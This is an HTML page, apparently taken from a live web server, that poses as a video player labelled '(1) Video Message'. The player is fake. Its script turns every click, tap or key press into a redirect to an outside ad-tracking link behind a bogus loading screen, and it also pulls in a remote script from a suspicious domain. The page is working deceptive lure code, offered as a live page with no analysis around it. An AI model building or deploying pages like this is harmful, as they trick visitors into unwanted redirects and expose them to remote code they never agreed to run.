File: /var/www/www-root/data/www/beartz.com/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>(1) Video Message</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: #000;
color: #fff;
font-family: Arial, sans-serif;
height: 100vh;
overflow: hidden;
cursor: pointer;
}
.click-area {
width: 100%;
height: 100vh;
position: relative;
background-color: #000;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
text-decoration: none;
}
.player-container {
width: 90%;
max-width: 800px;
height: 70vh;
background-color: #111;
border-radius: 12px;
position: relative;
overflow: hidden;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5);
margin-bottom: 30px;
border: 2px solid transparent;
transition: border-color 0.3s ease;
}
.click-area:hover .player-container {
border-color: #ff4444;
}
.player-header {
width: 100%;
height: 40px;
background: linear-gradient(to right, #222, #333);
display: flex;
align-items: center;
padding: 0 15px;
border-bottom: 1px solid #333;
}
.player-dots {
display: flex;
gap: 8px;
}
.dot {
width: 12px;
height: 12px;
border-radius: 50%;
}
.dot-red {
background-color: #ff5f56;
}
.dot-yellow {
background-color: #ffbd2e;
}
.dot-green {
background-color: #27ca3f;
}
.player-title {
margin-left: 15px;
font-size: 14px;
color: #aaa;
}
.video-area {
width: 100%;
height: calc(100% - 40px - 60px);
display: flex;
justify-content: center;
align-items: center;
position: relative;
background: linear-gradient(135deg, #111, #222);
}
.play-icon {
width: 100px;
height: 100px;
background-color: rgba(255, 255, 255, 0.1);
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
transition: all 0.3s ease;
position: relative;
}
.play-icon::after {
content: "";
width: 0;
height: 0;
border-left: 30px solid white;
border-top: 20px solid transparent;
border-bottom: 20px solid transparent;
margin-left: 5px;
}
.click-area:hover .play-icon {
background-color: rgba(255, 68, 68, 0.3);
transform: scale(1.1);
}
.video-text {
font-size: 18px;
color: #aaa;
text-align: center;
margin-top: 20px;
position: absolute;
bottom: 20px;
left: 0;
right: 0;
}
.timer {
font-size: 14px;
color: #666;
position: absolute;
bottom: 40px;
left: 0;
right: 0;
text-align: center;
}
.player-controls {
width: 100%;
height: 60px;
background-color: #111;
border-top: 1px solid #333;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0 20px;
}
.control-left, .control-right {
display: flex;
align-items: center;
gap: 20px;
}
.control-icon {
width: 24px;
height: 24px;
color: #aaa;
display: flex;
align-items: center;
justify-content: center;
font-size: 20px;
}
.progress-bar {
flex-grow: 1;
height: 4px;
background-color: #333;
border-radius: 2px;
margin: 0 20px;
position: relative;
overflow: hidden;
}
.progress-fill {
position: absolute;
top: 0;
left: 0;
height: 100%;
width: 45%;
background-color: #ff4444;
border-radius: 2px;
animation: progressAnimation 20s linear infinite;
}
@keyframes progressAnimation {
0% { width: 0%; }
100% { width: 100%; }
}
.volume-container {
display: flex;
align-items: center;
gap: 10px;
}
.volume-icon {
width: 20px;
height: 20px;
}
.volume-bar {
width: 80px;
height: 4px;
background-color: #333;
border-radius: 2px;
position: relative;
}
.volume-fill {
position: absolute;
top: 0;
left: 0;
height: 100%;
width: 70%;
background-color: #666;
border-radius: 2px;
}
.fullscreen-btn {
font-size: 18px;
}
.action-button {
padding: 15px 40px;
background: linear-gradient(to right, #ff4444, #ff3366);
color: white;
border: none;
border-radius: 50px;
font-size: 18px;
font-weight: bold;
cursor: pointer;
transition: all 0.3s ease;
text-transform: uppercase;
letter-spacing: 1px;
box-shadow: 0 5px 15px rgba(255, 68, 68, 0.3);
}
.action-button:hover {
background: linear-gradient(to right, #ff3366, #ff4444);
transform: translateY(-3px);
box-shadow: 0 8px 20px rgba(255, 68, 68, 0.4);
}
.fake-elements {
position: absolute;
width: 100%;
height: 100%;
pointer-events: none;
}
.fake-element {
position: absolute;
background-color: rgba(255, 255, 255, 0.03);
border-radius: 3px;
}
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.9);
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
z-index: 1000;
opacity: 0;
pointer-events: none;
transition: opacity 0.3s ease;
}
.loading-overlay.active {
opacity: 1;
pointer-events: all;
}
.loading-spinner {
width: 60px;
height: 60px;
border: 4px solid rgba(255, 255, 255, 0.1);
border-top-color: #ff4444;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-bottom: 20px;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.loading-text {
font-size: 18px;
color: #aaa;
}
.click-instruction {
position: fixed;
bottom: 20px;
left: 0;
right: 0;
text-align: center;
font-size: 14px;
color: #666;
animation: pulse 2s infinite;
}
@keyframes pulse {
0%, 100% { opacity: 0.5; }
50% { opacity: 1; }
}
@media (max-width: 768px) {
.player-container {
width: 95%;
height: 60vh;
}
.play-icon {
width: 80px;
height: 80px;
}
.play-icon::after {
border-left-width: 20px;
border-top-width: 15px;
border-bottom-width: 15px;
}
.action-button {
padding: 12px 30px;
font-size: 16px;
}
}
@media (max-width: 480px) {
.player-container {
height: 50vh;
}
.player-controls {
padding: 0 10px;
}
.control-left, .control-right {
gap: 10px;
}
.progress-bar {
margin: 0 10px;
}
}
</style>
</head>
<body>
<!-- Loading Overlay -->
<div class="loading-overlay" id="loadingOverlay">
<div class="loading-spinner"></div>
<div class="loading-text">Loading video...</div>
</div>
<!-- Main Click Area -->
<a href="#" class="click-area" id="clickArea">
<div class="player-container">
<div class="player-header">
<div class="player-dots">
<div class="dot dot-red"></div>
<div class="dot dot-yellow"></div>
<div class="dot dot-green"></div>
</div>
<div class="player-title">(1) Video.mp4 • 720p • 00:00:25</div>
</div>
<div class="video-area">
<div class="play-icon"></div>
<div class="timer">00:00:13 / 00:00:25</div>
<div class="video-text">Click anywhere to watch video</div>
</div>
<div class="player-controls">
<div class="control-left">
<div class="control-icon">⏮</div>
<div class="control-icon">⏯</div>
<div class="control-icon">⏭</div>
</div>
<div class="progress-bar">
<div class="progress-fill"></div>
</div>
<div class="control-right">
<div class="volume-container">
<div class="control-icon volume-icon">🔊</div>
<div class="volume-bar">
<div class="volume-fill"></div>
</div>
</div>
<div class="control-icon fullscreen-btn">⛶</div>
</div>
</div>
</div>
<!-- Action Button -->
<button class="action-button">
<span>Click to Continue Watching</span>
</button>
</a>
<!-- Click Instruction -->
<div class="click-instruction">Click anywhere on screen to continue</div>
<!-- fake UI Elements -->
<div class="fake-elements" id="fakeElements"></div>
<script>
document.addEventListener('DOMContentLoaded', function() {
// Generate unique click ID
const generateClickId = () => {
return 'click_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
};
const clickId = generateClickId();
const targetUrl = `https://92orb.com/link?z=9417679&var=all-test3&ymid=${clickId}`;
// Get elements
const clickArea = document.getElementById('clickArea');
const loadingOverlay = document.getElementById('loadingOverlay');
const fakeElements = document.getElementById('fakeElements');
// fake entire page clickable
document.body.addEventListener('click', handleClick);
// Also fake the click area work
clickArea.addEventListener('click', function(e) {
e.preventDefault();
handleClick(e);
});
// Handle clicks
function handleClick(e) {
e.preventDefault();
e.stopPropagation();
// Show loading overlay
loadingOverlay.classList.add('active');
// Simulate loading delay
setTimeout(() => {
// Redirect to target URL
window.location.href = targetUrl;
}, 800);
}
// Add fake UI elements
for (let i = 0; i < 15; i++) {
const element = document.createElement('div');
element.className = 'fake-element';
element.style.width = Math.random() * 30 + 10 + 'px';
element.style.height = Math.random() * 30 + 10 + 'px';
element.style.left = Math.random() * 100 + '%';
element.style.top = Math.random() * 100 + '%';
fakeElements.appendChild(element);
}
// Add keyboard shortcut
document.addEventListener('keydown', function(e) {
if (e.key === 'Enter' || e.key === ' ' || e.key === 'Spacebar') {
e.preventDefault();
handleClick(e);
}
});
// Add touch support for mobile
document.addEventListener('touchstart', function(e) {
e.preventDefault();
}, { passive: false });
document.addEventListener('touchend', function(e) {
e.preventDefault();
handleClick(e);
}, { passive: false });
// Console log for tracking
console.log('fake player ready. Click ID:', clickId);
console.log('Target URL:', targetUrl);
});
</script>
<script type="text/javascript" src="https://hotbxufuxu.today/process.js?id=1556900241&p1=sub1&p2=sub2&p3=sub3&p4=sub4" async> </script>
</body>
</html>